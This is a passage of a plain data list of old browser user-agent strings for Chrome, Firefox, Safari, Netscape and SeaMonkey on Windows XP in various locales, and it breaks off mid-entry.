-Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 SeaMonkey/1.0.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060527 BonEcho/2.0a3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060708 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 